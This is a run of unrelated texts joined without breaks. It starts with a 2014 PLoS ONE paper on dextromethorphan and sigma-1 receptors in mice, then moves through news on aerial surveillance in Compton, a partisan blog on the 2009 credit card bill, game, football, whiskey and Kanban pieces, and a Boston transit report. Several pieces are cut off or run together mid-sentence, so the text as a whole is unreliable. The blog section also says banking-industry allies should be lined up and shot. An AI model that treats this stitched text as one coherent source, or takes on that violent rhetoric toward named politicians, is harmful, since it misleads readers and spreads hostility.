Citation: Nguyen L, Robson MJ, Healy JR, Scandinaro AL, Matsumoto RR (2014) Involvement of Sigma-1 Receptors in the Antidepressant-like Effects of Dextromethorphan. PLoS ONE 9(2): e89985. https://doi.org/10.1371/journal.pone.0089985 Editor: Allan Siegel, University of Medicine & Dentistry of NJ - New Jersey Medical School, United States of America Received: November 21, 2013; Accepted: January 25, 2014; Published: February 28, 2014 Copyright: © 2014 Nguyen et al. This is an open-access article distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original author and source are credited. Funding: This study and personnel were funded by Avanir Pharmaceuticals, West Virginia University, and the National Institutes of Health (DA013978, DA013583). Avanir Pharmaceuticals provided editorial suggestions to improve the clarity of the manuscript prior to submission. The funding entities had no further role in the design of the study; in the collection, analysis and interpretation of the data; in writing the report; and in deciding to submit the paper for publication. Competing interests: Dr. Matsumoto reports having received consultant fees and research funding from Avanir Pharmaceuticals, Inc. This does not alter the authors' adherence to PLOS ONE policies on sharing data and materials. The other authors report no financial or conflicts of interest.
Introduction Depression affects up to one fifth of the world population, stands as the second leading cause of disability worldwide, and imposes a substantial economic burden [1], [2]. In addition, the available pharmaceutical agents for treating depression are not effective in approximately a third of patients [3] and have a delayed clinical efficacy of several weeks to months [4]. Consequently, there is still a great need for faster acting and more effective treatments for depression. Recently, a hypothesis was offered that dextromethorphan may have fast-acting antidepressant activity based on pharmacodynamic similarities to the N-methyl-D-aspartate (NMDA) antagonist ketamine [5], a drug repeatedly shown in human populations to display rapid antidepressant effects but whose use is severely limited by the need for intravenous administration and the presence of notable adverse effects (e.g., hallucinations and dissociations) [6], [7], [8]. Similar to ketamine, dextromethorphan binds to NMDA receptors and can modulate glutamatergic signaling [5]. Dextromethorphan also has higher affinity than ketamine for serotonin transporters (SERT) [9] and several other protein targets, including sigma-1 (σ 1 ) receptors [5], [9] which have been proposed as therapeutic targets for antidepressant drugs [10]. Unlike ketamine, however, dextromethorphan has a high margin of safety; it has been used as a nonprescription antitussive over the past 40 years and thus may serve as a safer alternative to ketamine. In addition, it readily undergoes first-pass metabolism by cytochrome P450 (CYP) 2D6 to its major active metabolite dextrorphan [11]. Dextromethorphan in combination with quinidine, which raises the plasma concentration and bioavailability of dextromethorphan through the inhibition of CYP2D6 metabolism [12], is approved by the U.S. Food and Drug Administration (FDA) and European Medicines Agency (EMA) for the treatment of pseudobulbar affect and is thought to produce part of its therapeutic effects through σ 1 receptors [13]. σ 1 Receptors are highly conserved 223 amino acid proteins expressed on the mitochondrial-associated endoplasmic reticulum membrane (MAM) and can translocate between different cellular compartments in response to ligand binding [14]. In addition, σ 1 receptors appear to operate primarily via protein-protein interactions to modulate the activity of various ion channels and signaling molecules, including inositol triphosphates, protein kinases, and calcium [14], [15]. Previous reports implicate σ 1 receptors as protein targets for existing and novel antidepressant drugs [10]. Currently marketed antidepressant drugs, such as tricyclic antidepressants, monoamine oxidase inhibitors, selective serotonin reuptake inhibitors (SSRIs), and newer generations of antidepressant drugs, bind to these receptors [10]. Earlier studies also demonstrate that σ 1 receptor agonists can modulate the activities of neurotransmitter systems, signaling pathways and brain regions implicated in the pathophysiology of depression [10] and that σ 1 receptor knockout mice exhibit a depressive-like phenotype [16]. The potential clinical relevance of these observations is further supported by reports that σ 1 receptor agonists produce antidepressant effects in experimental animals and humans [17], [18], [19], [20], [21], [22]. Notably, the σ 1 receptor agonist igmesine hydrochloride proved to be as effective an antidepressant as the well-established SSRI fluoxetine in some clinical trials, though not in all cases [10], [22]. Compared to existing medications, σ 1 receptor agonists may facilitate a more rapid onset of antidepressant efficacy [23]. Consistent with this, σ 1 receptor agonists such as (+)-pentazocine and SA 4503 can enhance serotonergic neuronal firing in the dorsal raphe nucleus after only two days of treatment, compared to the two weeks of treatment that is typically required of conventional antidepressant drugs [24], [25]. In the studies herein, we test the hypothesis that dextromethorphan can exert antidepressant-like actions at least in part through σ 1 receptors. This activity may convey additional therapeutic advantages over ketamine under clinically relevant conditions since compared to ketamine which has micromolar affinity for σ 1 receptors [26], dextromethorphan exhibits nanomolar binding affinity for these receptors [9], [27], [28]. First, the ability of dextromethorphan to cause antidepressant-like effects was examined in the forced swim test. The forced swim test is the most validated behavioral assay for predicting antidepressant efficacy [3], [29], [30] and thus provides a rational format for the initial evaluation of the antidepressant potential of dextromethorphan. In addition, the effect of dextromethorphan on locomotor activity was measured to determine whether stimulant effects could account for its apparent antidepressant-like actions. The antidepressant drugs imipramine and fluoxetine were used as reference ligands for these behavioral tests. Second, to evaluate the potential involvement of σ 1 receptors in the in vivo antidepressant-like actions of dextromethorphan, pharmacological antagonists targeting σ 1 receptors were examined for their ability to prevent the antidepressant-like effects of dextromethorphan. Third, since dextromethorphan undergoes extensive first-pass metabolism by CYP2D6 to its major active metabolite dextrorphan [11], the CYP2D6 inhibitor quinidine was administered concomitantly with dextromethorphan to raise the plasma concentration and bioavailability of dextromethorphan [12] and determine whether the metabolism of dextromethorphan affects its antidepressant efficacy. Finally, to define the manner in which dextromethorphan binds to σ 1 receptors (competitive and/or non-competitive), saturation binding studies were conducted.
Materials and Methods Animals Male, Swiss Webster mice (24–28 g; Harlan, Frederick, MD) were housed with food and water ad libitum, with a 12:12 h light–dark cycle. Animals were housed in groups of five for at least one week prior to initiation of experiments. All procedures were conducted in strict accordance with the recommendations in the Guide for the Care and Use of Laboratory Animals of the National Institutes of Health. The protocol was approved by the Institutional Animal Care and Use Committee at West Virginia University (Morgantown, WV), and all efforts were made to minimize suffering. Drugs and Chemicals Dextromethorphan hydrobromide and quinidine sulfate were provided by Avanir Pharmaceuticals, Inc. (Aliso Viejo, CA; for the behavioral studies) or purchased from Sigma-Aldrich (St. Louis, MO; for the binding assays). Imipramine hydrochloride was purchased from Sigma-Aldrich (St. Louis, MO). Fluoxetine hydrochloride, BD1063 (1-[2-(3,4-dichlorophenyl)ethyl]-4-methylpiperazine dihydrochloride), and BD1047 (N-[2-(3,4-dichlorophenyl)ethyl]-N-methyl-2-(dimethylamino)ethylamine dihydrobromide) were obtained from Tocris (Ellisville, MO). [3H](+)-Pentazocine (34.8 Ci/mmol) was procured from Perkin Elmer (Hopkington, MA). All other chemicals and reagents were purchased from standard commercial suppliers (Sigma-Aldrich, St. Louis, MO). Drug Treatments Mice (N = 5–15/group) received intraperitoneal (i.p.) injections with the following treatments: (1) Saline; (2) Imipramine (10–20 mg/kg); (3) Fluoxetine (10–30 mg/kg); (4) Dextromethorphan (1–30 mg/kg); (5) BD1063 (3–30 mg/kg); (6) BD1047 (10–30 mg/kg); (7) BD1063 (10 mg/kg) + Imipramine (20 mg/kg); (8) BD1063 (10 mg/kg) + Dextromethorphan (10–50 mg/kg); (9) BD1047 (10–20 mg/kg) + Dextromethorphan (30 mg/kg); (10) Quinidine (30 mg/kg) + Saline; and (11) Quinidine (30 mg/kg) + Dextromethorphan (3–30 mg/kg). Treatment with quinidine was administered concurrently with saline or dextromethorphan. Treatment with a σ 1 receptor antagonist (BD1063 or BD1047) was administered 15 min prior to the second drug (imipramine or dextromethorphan). Locomotor Activity Locomotor activity was measured utilizing an automated activity monitoring system (San Diego Instruments, San Diego, CA). Prior to locomotor activity measurements, animals were acclimated to the testing facility for at least 30 min and habituated to the testing chambers for an additional 30 min. Each testing chamber consisted of a Plexiglas housing and a 16×16 photobeam array to detect lateral (ambulatory and fine) movements, with a separate 16 photobeam array to detect rearing activity. Subsequent to the acclimation period, animals were treated and placed back in their respective chambers. Ambulatory, fine and rearing movements were quantified and summated as a measure of total locomotor activity for the next 30 min. Forced Swim Test Immediately after the locomotor measurements, animals were placed in individual cylinders of water (10 cm deep) for a total of 6 min for the forced swim test. The initial 2 min was an acclimation period and not scored. During the remaining 4 min, immobility time was quantified using ANY-Maze Version 4.63 video tracking software (Stoelting Co., Wood Dale, IL). Immobility was defined as no activity other than that required to maintain the animal's head above the surface of the water. ANY-Maze software settings were as follows: accustomization period = 120 s, test duration = 240 s, minimum immobility time = 2000 ms (2 s), and immobility sensitivity = 75%. Saturation Binding Assays To determine K d and B max by saturation binding, assays were performed in the absence (control) and presence of dextromethorphan (400 nM) using methods previously published in detail [31]. The concentration of dextromethorphan used in these assays was based on the reported K i of the drug for σ 1 receptors [27]. Briefly, 15 concentrations of [3H](+)-pentazocine (0.1–100 nM) were used to label σ 1 receptors in P 2 rat brain homogenates (400–500 µg/sample). Non-specific binding was determined in the presence of 10 µM haloperidol. Incubations occurred for 120 min at 25°C and membranes were washed 2–3 times using ice cold 10 mM Tris HCl, pH 8.0. Data Analysis Data from all experiments were analyzed using GraphPad Prism 5.0 (San Diego, CA). The behavioral data were analyzed by one-way analysis of variance (ANOVA) followed when applicable by post-hoc Dunnett's or Tukey's multiple comparison tests. The correlation between locomotor activity and immobility time was analyzed by Pearson's r correlation test. The K d and B max were determined using nonlinear regression and analyzed by unpaired t-tests. For in vivo data, outliers (data points that were at least two standard deviations away from the mean) were excluded from analyses. Data are represented as mean ± S.E.M. P<0.05 was considered statistically significant for all data analyzed.
Discussion This study is the first to show that dextromethorphan has antidepressant-like effects in vivo, in addition to implicating σ 1 receptors as a mechanism contributing to its antidepressant actions. Moreover, concomitant administration of the CYP2D6 reversible inhibitor quinidine potentiated the effects of dextromethorphan in the forced swim test. This demonstrates that the antidepressant-like effects of dextromethorphan do not require conversion to the metabolite dextrorphan, and reveals dextromethorphan itself has antidepressant efficacy. The antidepressant-like effects of dextromethorphan appear to involve σ 1 receptors. In the current study, two well-established σ 1 receptor antagonists (BD1063 and BD1047) reduced the antidepressant-like actions of dextromethorphan in vivo. They are thought to act in a competitive manner since in the presence of BD1063, the dose response curve for dextromethorphan was shifted to the right. An involvement of σ 1 receptors in the antidepressant-like effects of dextromethorphan is consistent with earlier reports that selective σ 1 receptor agonists can on their own reduce immobility time in the forced swim test [17], [20], [21], [32] and produce antidepressant-like effects in other animal models such as the tail suspension test and olfactory bulbectomy [18], [33]. Thus, additional studies involving these and other animal models used in depression research (e.g., sucrose preference test, novelty suppression) [3], [29], [30] will be needed in the future to further evaluate the antidepressant potential of dextromethorphan and the involvement of σ 1 receptors. The ability of dextromethorphan to elicit antidepressant-like actions through σ 1 receptors suggests future studies to evaluate potential fast-acting therapeutic effects are also warranted. σ 1 Receptor agonists can enhance serotonergic neuronal firing in the dorsal raphe nucleus after only two days vs. two weeks of treatment that is typically required of conventional antidepressant drugs [24], [25]. In addition, the fast-acting antidepressant drug ketamine has recently been shown to potentiate nerve growth factor (NGF)-induced neurite outgrowth through a σ 1 -dependent mechanism [26], supporting the emerging importance of σ 1 receptors in modulating neuronal plasticity, which itself is a critical element for conveying both rapid and delayed antidepressant activity. Earlier competition binding studies showed that dextromethorphan has significant affinity for σ 1 receptors (138–652 nM) [13], [27], [28], [34], and thus further characterization of the interaction of dextromethorphan with σ 1 receptors was undertaken in the current study. The saturation binding studies indicate that the interaction of dextromethorphan with σ 1 receptors is complex, with both a change in B max and K d in the binding of [3H](+)-pentazocine in the presence of dextromethorphan. The reduction in the number of σ 1 receptors (B max ) with which [3H](+)-pentazocine binds suggests non-competitive interactions of dextromethorphan with σ 1 receptors. However, there is also a decrease in K d for [3H](+)-pentazocine binding in the presence of dextromethorphan, suggesting additional competitive interactions. Together, the data support the presence of at least two distinct sites or modes of interaction with which dextromethorphan binds to the σ 1 receptor, one with which it has competitive interactions, and another with which it has non-competitive interactions. This interpretation would be consistent with other reports of multiple regions for ligand interactions on the σ 1 receptor, some of which have functional ramifications for agonist vs. antagonist activity [35], [36], [37]. The affinity differences of dextromethorphan for its two putative binding sites appear to be similar (<100-fold difference) since competition binding assays of dextromethorphan at σ 1 receptors are consistent with a one-site fit [27]. The antidepressant-like effects of dextromethorphan are thought to be mediated through the competitive binding site since i) there appears to be a rightward shift in its dose response curve in the forced swim test with no apparent change in maximal effect, and ii) (+)-pentazocine, the σ 1 agonist used to label the receptor, has previously also been reported to produce similar antidepressant-like effects [10], [17]. In addition to interacting with σ 1 receptors, dextromethorphan has been reported to alter monoamine reuptake, particularly serotonin and norepinephrine at Ki values of 23 and 240 nM, respectively [38], which have implications for antidepressant effects in humans. The significant affinity of dextromethorphan for SERT (40 nM) [9] would be expected to contribute to antidepressant efficacy in humans, although it would not account for potential fast-acting effects, nor reductions in immobility time herein. Under the experimental parameters used in the current study, the classical SSRI fluoxetine did not produce significant reductions in immobility time in the forced swim test. This is consistent with the reports of others that the forced swim test does not reliably detect the antidepressant potential of SSRIs [39]. Thus, this mechanism, which is a known contributor to antidepressant efficacy in humans, is unlikely to account for the pattern of antidepressant-like effects observed with dextromethorphan herein. In contrast to its high affinity for SERT, dextromethorphan binds much more weakly with NET (>1 µM) [9], but its reported ability to modulate norepinephrine reuptake [38] would be expected to contribute conventional antidepressant effects under clinical conditions. Compared to the ability of BD1063 pretreatment to significantly block the antidepressant-like effects of dextromethorphan, it failed to attenuate that of imipramine, which has an overlapping binding profile with dextromethorphan: SERT (1.3–20 nM) [40], [41], [42], [43], and σ 1 receptors (343 nM) [44]. This indicates that the σ 1 interaction may have a larger role in producing the antidepressant-like effects of dextromethorphan than that of imipramine. This is consistent with the wider range of protein targets through which imipramine, but not dextromethorphan, interacts, which include: serotonin 5-HT 2, muscarinic, and histamine H 1 receptors [9], [45], [46], [47], [48], [49]. Finally, dextromethorphan elicits stimulant actions which were quantified herein as increases in locomotor activity. Two observations are of note with regard to these actions. First, the stimulant effects cannot account for the antidepressant-like actions of dextromethorphan. Second, quinidine enhances the antidepressant-like effects of dextromethorphan without producing an increase in locomotor activity. This suggests that addition of quinidine to dextromethorphan can be used clinically to optimize therapeutic antidepressant actions, without eliciting unwanted stimulant effects. In conclusion, the data presented here show for the first time that dextromethorphan has antidepressant-like effects in an in vivo model and provide evidence that this effect occurs at least in part through a σ 1 receptor dependent mechanism. This is also the first report of the manner in which dextromethorphan interacts at the σ 1 receptor. Together with earlier studies and the potential of increasing dextromethorphan bioavailiabity by using the FDA- and EMA-approved dextromethorphan/quinidine formulation, these data suggest dextromethorphan should be further explored for translational potential as an antidepressant drug in clinical trials, as it may offer rapid-acting relief of depressive symptoms and the ability to resolve cases of treatment-resistant depression. In addition, further studies to understand the molecular and cellular mechanisms by which these effects occur are necessary and may yield important information about how various receptors, transporters and processes are involved in the ability of dextromethorphan to convey its antidepressant effects.
Acknowledgments We appreciate the technical assistance of Dr. Ying Huang Zhang.
Author Contributions Conceived and designed the experiments: LN MJR RRM. Performed the experiments: LN MJR JRH ALS. Analyzed the data: LN MJR JRH ALS RRM. Wrote the paper: LN RRM. Edited the manuscript: LN MJR JRH ALS RRM.It was a bold and, some critics say, invasive move.
The L.A. County Sheriff's Department spied on the residents of Compton by flying a plane over the 10-square-mile city for six hours a day for nine days, videotaping everything on the ground.
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But cops say they couldn't pick out faces or even types of cars due to the video's resolution. And so, as a way to calm the nerves of the good people of Compton, sheriff's officials have declared the technology unsuitable. For now:
The experiment, revealed recently by the Center for Investigative Reporting, was undertaken to determine if Persistent Surveillance's Hawkeye system was right for the department, deputies said.
Compton was chosen for the test run because images could easily be transmitted from a manned surveillance plane to the centrally located at the sheriff's station there, according to a statement. The spying took place from Jan. 9 to Jan. 17 of 2012, officials said.
So why weren't the citizens of Compton told about it? Sgt. Doug Iketani told CIR:
A lot of people do have a problem with the eye in the sky, the Big Brother, so in order to mitigate any of those kinds of complaints, we basically kept it pretty hush-hush.
It's not hush-hush anymore.
Persistent Surveillance
The department last night stated that because officials believed the resolution from the high-flying cameras wasn't good enough to help it do its job, namely catch criminals, the experiment was nixed after being evaluated:
Sheriff's Aero Bureau and Compton Sheriff's personnel identified a number of challenges that rendered the system ineffective for the Department's need to enhance public safety and impact criminal activity. The factors included the resolution of the video footage captured did not offer any detail which would allow the identification of any individual. The detail provided would not allow the reviewer of the footage to discern gender, age, race, hair color or any other identifiable features. Another factor was that it was difficult to identify the difference between a sub-compact vehicle and a full sized sports utility vehicle. Another decision not to pursue the use of the system was the fact that the footage could only be captured in black and white.
The footage was not kept, officials said.
Still, you just know cops can't wait until this technology is ready for prime time. Be prepared, people. We have an umbrella picked out already.
Send feedback and tips to the author. Follow Dennis Romero on Twitter at @dennisjromero. Follow LA Weekly News on Twitter at @laweeklynews.Media playback is unsupported on your device Media caption London Mayor Boris Johnson invoked Romney's earlier comments as he revved-up crowds in Hyde Park on Thursday
US presidential candidate Mitt Romney has predicted a "very successful" Olympics, hours after talking of "disconcerting" signs in London.
He backtracked while meeting PM David Cameron, after telling US TV Britain may not be |
worldwide are really starting to realize how much we are affecting the environment and that we all have a responsibility in changing that. Despite the bad narratives, something good is happening in Agbogbloshie.”Protect consumers from arbitrary interest rate, fee and finance charge increases and prohibit universal default on existing balances
• Require fairness in application and timing of card payments, such as applying payments to the balance with the highest interest rate first
• Protect the rights of financially responsible credit card users by prohibiting interest charges on debt paid on time
• Provide enhanced disclosure of card terms and conditions and strengthen oversight of credit card industry practices
• Ensure adequate safeguards for young people targeted by credit card companies
• Require tougher penalties for companies that violate the Truth in Lending Act
• Protect recipients of gift cards by requiring all gift cards have at least a five-year life span, and eliminate the practice of declining values and hidden fees for cards not used within a reasonable period of time
• Encourage transparency in credit card pricing by requiring a Government Accountability Office (GAO) study on the impact of interchange fees on consumers and merchants
Dodd, in a statement, said that the agreement reached with Shelby probably marked the final compromise he would be willing to make on the legislation he has been pushing hard this year.
“While I expect some battles in the coming days from credit card companies and their allies in an effort to diminish these strict new rules,” Dodd said, “I stand ready to fight against any attempt to weaken the strong consumer protections in this bill.”
I know that dozens of senators-- all the Republicans and most of the reactionary Democrats from Evan Bayh's anti-Obama Bloc-- are trying to help out the credit card companies by killing the Credit Cardholders’ Bill of Rights Act of 2009, which is similar to a bill passed in the House April 30. That one was Carolyn Maloney's attempt to amend the Truth in Lending Act to "establish fair and transparent practices relating to the extension of credit under an open end consumer credit plan." It passed the House 357-70, with 105 Republicans revolting against their corrupt leadership to cross the aisle and vote with all the Democrats but one a mangy Blue Dog, Stephanie Herseth Sandlin, who is completely owned by South Dakota's powerful credit card industry.Most Democrats got behind the Senate version of the bill, the Credit Card Accountability, Responsibility and Disclosure Act of 2009, advertised as a way of preventing credit card companies from taking advantage of cash-strapped consumers with abusive and predatory lending practices. Specifically, what the bill is supposed to accomplish is this:So what happened today? One of the banking industry's most contemptible anti-consumer shills, Tom Coburn (R-OK), who has taken $900,422 in legalized bribes from the banksters in the Finance/Insurance/Real Estate sector, offered a poison pill amendment that would allow people to carry automatic weapons in National Parks. Among the Democratic lemmings who voted for this idiocy are all the anti-working families shills, like Bayh, Baucus, Specter, of course, Begich, Casey, both Nelsons, the two idiots from Arkansas and the two idiots from Colorado, Landrieu, Hagan... the whole sickening right-wing of the Senate Democratic caucus. But they were joined by a gaggle of real Democrats too scared of the gun lobby to stand up and act for the good of their own constituents-- Feingold, Reid, Klobuchar, Leahy, even Merkley! Only 28 Democrats (+ Lamar Alexander) voted against this idiotic ploy.I was already getting wary yesterday when I noticed that Dodd, the author of the bill (and a recipient of more bankster money-- $13,238,806-- than anyone else in Congress other than McCain) was negotiating with the ranking Republican/bankster shill Dick Shelby to water down the bill and make it more acceptable to a tiny segment of society who should all be lined up against a wall and, after speedy trials, shot.He didn't do a very good job of it today.
Labels: credit card companies, Credit Cardholders’ Bill of Rights Act, NRA, Tom CoburnThis year marks the 20th anniversary of Blizzard’s dungeon crawler Diablo, and to celebrate, Blizzard is remaking the classic game — inside of Diablo 3.
a new anniversary update brings the graphics, gameplay, and style of the first game to ‘Diablo 3’
The original Diablo returns in the form of a new anniversary update called "Darkening of Tristram,” which brings the graphics, gameplay, and style of the first game to Diablo 3. The update will include a 16-level dungeon with the four main bosses from Diablo, and will limit players to the 8-degree-of-freedom movement along with applying an old-school filter to invoke the original Diablo atmosphere. The “Darkening of Tristram” will be free when it releases, and can be played as early as next week in the Diablo 3 Public Test Realm server.
Additionally, Blizzard also announced a second update, the Rise of the Necromancer Pack, planned for next year, that brings a new character class — the Necromancer — to Diablo 3. It’s a paid add-on that will require both the base Diablo 3 game and Reaper of Souls expansion to use, and will serve as a “reimagining of the classic Diablo 2 class,” with abilities based around raising the dead. However, besides the general 2017 date, no price or release information has been announced yet.Every week, we'll introduce Saturday's opponent and give a run-down on some pertinent details to that team's status as a potential rival to Nebraska. Then we'll leave the vote to you, the community. Oklahoma isn't a candidate, so don't save your votes.
School name?
The Brigham Young University Cougars.
(SB Nation Site: Vanquish the Foe )
When did the program start?
1922.
What conference does the team reside in?
They have no conference, they're an independent.
So not the Big 8.
No.
How far from Lincoln is the home campus?
896.3 miles west.
That's pretty far.
Mike Riley isn't promising to recruit Provo.
Most recent meeting between the school and Nebraska?
September 5 th actually marks the first meeting of the programs.
Does the program play Nebraska annually?
Well, no.
Does the school possess a winning record against Nebraska?
No, they haven't played!
What is the school's all-time record in football?
546 wins, 399 losses, and 27 ties. Good for 42nd overall. ( Winsipedia )
How many national titles?
One! In 1984.
Pretty long ago...do people in New England care about the program?
Depends on the day of the week and what they're talking about. They're basically a poor man's Notre Dame.
Does their school wear red?
Nope! They wear blue, grey, and white.
Did their program borrow anything from Nebraska?
Hard to say - most football "thievery" is more subtle than Wisconsin.
Did their program regularly play Nebraska under Tom Osborne?
They have never played Nebraska.
Does their school have history with rivalries?
They do! There's the "Holy War" with the Utah Utes (they trail 31-55-4) and the "Old Wagon Wheel" game with the Utah State Aggies (they lead 46-35-3). Wikipedia also suggests they may develop a rivalry with Boise State, but that's pretty comparable to Nebraska's current stand against Wisconsin, so let's just gloss over that..
Does the school have a mascot?
Yes, "Cosmo the Cougar". Let's allow the university to describe this mascot:
In 1953, BYU athletics acquired a new cougar mascot named "Cosmo." The brainchild of pep chairman Dwayne Stevenson, Cosmo supposedly got his name from the cosmic forces of the universe and was here to help increase the prowess of the BYU athletic teams. Since his first appearance on Oct. 15, 1953, Cosmo has participated with the cheerleaders, Cougarettes, and the BYU marching band throughout many school years. In 1979, students tried to bring back a live cougar mascot at athletic events, but school officials felt a student dressed in a cougar outfit would be a better (cleaner and safer) mascot. Those who have become Cosmo have remained anonymous during the school year. Though not a clown, Cosmo is real enough to have feelings that can be hurt by fans booing or throwing drinks at him or by being rude to the other fans or players.
Emphasis added.
( Taken from BYU.edu )
Are their fans known for bad behavior?
No strong indications one way or the other, but they did feel a need to make it clear that you shouldn't throw things at the mascot so...
How about their players?
The Cougars are still sorting through a mess of a brawl from their bowl game and many of their players have struggled with local law enforcement this summer. So you could argue they're trying to be Miami Lite.
What kind of trophy would fit a rivalry between these programs?
A copy of Oregon Trail 2 which doesn't allow you to go to Oregon but instead forces you to go to Provo.
***
Well, audience, you've met the candidate. Now you decide: rivals or not?! Plead your case below!Peat burning at the Laphroaig Whisky Distillery. Photo Cath Harries / Alamy ( enlarge Start
You never forget your first peated whiskey. Upon first sip, most people make a face—the smoke can be overwhelming. By the second sip, your palate has adjusted a bit, allowing you to detect caramel and honey beneath the unfurling smoke. Reaching the bottom of the glass, you wonder how it went by so quickly, as you daydream about s’mores, bacon and other smoky delights.
Why do we love smoky spirits?
Although smoky flavors are not exclusive to whiskey (mezcal, some gins and Tequilas can have them, too), most people associate them with peated whiskies, specifically Scotch.
Photo by Aaron Graubart
But what is peat, and why do we like it? According to Dave Broom, author of The World Atlas of Whisky, prior to the invention of refrigeration, people added smoke to food as a means to preserve it.
“We don’t need smoke anymore to preserve food, but we still use it,” Broom says. “We just like the effect of smoke, and smoking. That’s why people gravitate to smoky whiskies.”
However, peated whiskies are different from those that are merely smoky. Peat—basically decomposing, waterlogged plants—is cut, dried and smoked. It may not sound appetizing, but that fragrant smoke is used to dry barley or other grains used to make whiskey. This process adds bewitching aromas and flavors.
Although peat isn’t exclusive to Scotland, peated whiskies are the norm. There’s nothing like the scent of peat smoke along the windy shore of Islay, where many of Scotland’s best-known peated whiskies are made. The sweet smoke mingles with the briny sea air, miraculously finding its way into a bottle of Laphroaig or Ardbeg.
Smoke it if you got it
A wide range of materials are used to create smoky flavors and aromas in whiskey and other spirits. Producers work with what’s local and plentiful, creating a form of terroir.
The compressed plant matter known as peat is the best-known source of smokiness, traditional in Scotch whiskies and others made in the Scotch tradition (like peated Japanese, American or Irish whiskies). Although most peat (or peated grain) is sourced from Scotland, a handful of American whiskey producers are experimenting with local peat. Seattle’s Westland Distillery is using Washington peat for a uniquely smoky, peppery profile. Similarly, Maine Craft Distilling is experimenting with Maine-sourced peat, albeit in small amounts.
In Iceland, whisky producers like Thoran and Floki are experimenting with smoked sheep dung, while Denmark’s Fary Lochan uses smoked nettles.
Wood smoke also is increasingly used in American, French and other whiskies for a sweet or spiced quality. In Sperryville, Virginia, Copper Fox Distillery uses applewood and cherrywood for what may be the only deliberately smoky rye whiskey. Corsair Distillery (Nashville and Bowling Green, Kentucky) offers a menu of wood-smoking options inspired by barbecue champs like hickory, black walnut, sugar maple, cherry and persimmon.
Smoke sources are getting increasingly esoteric. In Iceland, whisky producers like Thoran and Floki are experimenting with smoked sheep dung, while Denmark’s Fary Lochan uses smoked nettles.
Meanwhile—where legal, of course—we’ve heard rumblings about cannabis-smoked whiskey and other spirits. While we’re not likely to see those spirits on U.S. shelves anytime soon, it’s a glimpse of what smoky spirits could look like in coming years.Kanban talks about limiting work in progress (WIP) as a way to manage workflow. “Limiting WIP is hard enough, but selling it can be nearly impossible” said Jim Benson. At the Lean Kanban Central Europe 2014 Conference he talked about how to convince others to limit WIP.
Knowledge work is invisible and adding new work has no apparent costs. We want to limit WIP to focus and prevent being flooded with work. Healthy work needs healthy constraints so that we can do the right and avoid costly coping behavior said Jim.
Although limiting WIP is obvious, people are not sufficiently aware that they need to do. Thus they are not looking for ways on how to do it. According to Jim they need an epiphany but they don’t want an epiphany, so you can’t give them one. What you can do to break the status quo is to show to people how it can be done.
Jim presented the five steps to an epiphany for limiting WIP:
Acknowledge current state - define status quo Envision future state -define potential future Hypothesize active system elements - what fuels your disruptive systems Show don’t tell - put elements in action with visual systems Sell, baby, sell - find unobtrusively ways of highlighting positive messaging
InfoQ interviewed Jim about the importance of limiting WIP and what makes it so difficult, convincing people to limit WIP, and using measurements to manage workflow.
InfoQ: What makes it important to limit work in progress?
Jim: Limiting WIP without understanding the work itself means you might work faster, but not actually understand the work your doing. Therefore, it's important to see your work and control your WIP. The Need to Visualize Work - We can better manage what we can see. Whether it is for oversight, team planning, or completing our own work, keeping the work visual means we can examine options, prioritize, see where bottlenecks or work starvation is occurring, and understand how work is actually completed. Visual information compels people to act. Problems are solved more quickly. The Need to Control Work in Process (WIP) - When we overload any system, quality and production suffer. When we overload people with work, completion slows and defects rise. Rework increases, which increases load on the system. Most knowledge work projects suffer from overload and its negative impacts. Controlling WIP is a lever we can adjust to balance workflow with quality. Understanding Planned and Unplanned Work - Visual systems with controls engender healthy production units. Previously invisible work becomes observable. When we can observe what is happening in our own work, or that of our teams or company, we can see where unplanned work is introduced into the system and its impacts. Note that all rework is unplanned. The class will show how to measure unplanned and planned work and make smart judgments about how to balance the two. Using Personal Kanban Techniques to Understand and Control Work - Using a Personal Kanban board, an individual or a team can track work in all phases (not yet done, the various in-process phases, and complete)... seeing work through its lifecycle gives us a massive amount of internal business intelligence: how we learn, how we prioritize, what impediments we find, where we can improve, when we can effectively collaborate, and more. In essence, we currently have no way to see what we are doing. We currently manage our projects as if we were driving our cars with our eyes closed. We want to use the Personal Kanban to open our eyes.
InfoQ: Limiting the work in progress sounds simple, yet many struggle in doing it. Why?
Jim: There are a couple of reasons what makes limiting WIP more difficult than people initially expect: Options and Variation - Limiting WIP is difficult in a high variation environment. When conditions change, the next immediate step can be difficult to identify. We have many options. Selection is difficult, therefore we end up doing several things at one. We Are Not Alone - Our coworkers are part of our team. They have needs. We have information. We end up being attached to work initially defined for other people. Since we usually don't understand our work, we also don't understand collaboration. That means that rather than having a system for coherent collaboration - almost all collaboration seems like or even is an interruption. Interruptions are unplanned and often untracked WIP. We Limit WIP to 100% Capacity - People figure "my capacity is 3" and limit their WIP to that. Then it is frequently blown because we have no slack for unplanned work. External Actors Seem Unjust - People outside our convenient planning bubble have needs. Again, we have planned our time to allow no slack and we are surprised when we are pulled in by clients or other forces of nature. This can include your boss.
InfoQ: Can you give some examples of how you convinced people to limit WIP?
Jim: I usually convince people by showing in stead of telling. You need to show people how and even why to control their WIP. My partner Tonianne and I will tell people to limit WIP, but by and large we need to build a visual system to show them the impacts that overwork has on individuals and teams. We can do this by simply showing the avalanche of work, the cost of delay, the level of existing rework, the amount of defective product being released, or even the morale of the team. We try to find external examples in their own organizations to make our point for us.
InfoQ: Which benefits did they get from it?
Jim: Shorter cycle and lead times (work done faster), lower escaped defects (work done better), better reactions to changes in context (work done smarter), and happier team members (work done healthier).
InfoQ: Measurements can be useful to manage ongoing work. Do you have some tips how to use them effectively?Absent T workers were to blame for the majority of the nearly 40,000 missing buses last year that left passengers waiting for rides that never came, a Herald review found.
All told last year, the T reported 39,937 “missed trips” on the transit agency’s 178 bus routes, according to the data.
Some of the largest number of those missed bus trips — and T employee absences — happened when there wasn’t a flake of snow on the ground. In August, the MBTA missed nearly 4,500 bus trips — mostly due to worker absences. Only 455 missed trips that month were due to unavailable or disabled buses.
The review also found that in February alone this year, nearly 7,500 missed trips left passengers stranded in the cold. MBTA officials at the time complained that mechanical failures led to systemwide shutdowns last winter, but the agency’s own records show that less than 9 percent of the 7,417 missed bus trips in February were attributed to disabled or unavailable buses.
The T’s data show that 72 percent of those missed trips were due to bus drivers who didn’t show up to work.
The Herald review comes as Gov. Charlie Baker is set to release a task force report that will recommend fixes for the beleaguered transit agency after a service collapse last winter.
“The special panel is reviewing all aspects of the MBTA’s operations, and the governor looks forward to reviewing their report in the coming weeks,” Baker spokesman Billy Pitman said.
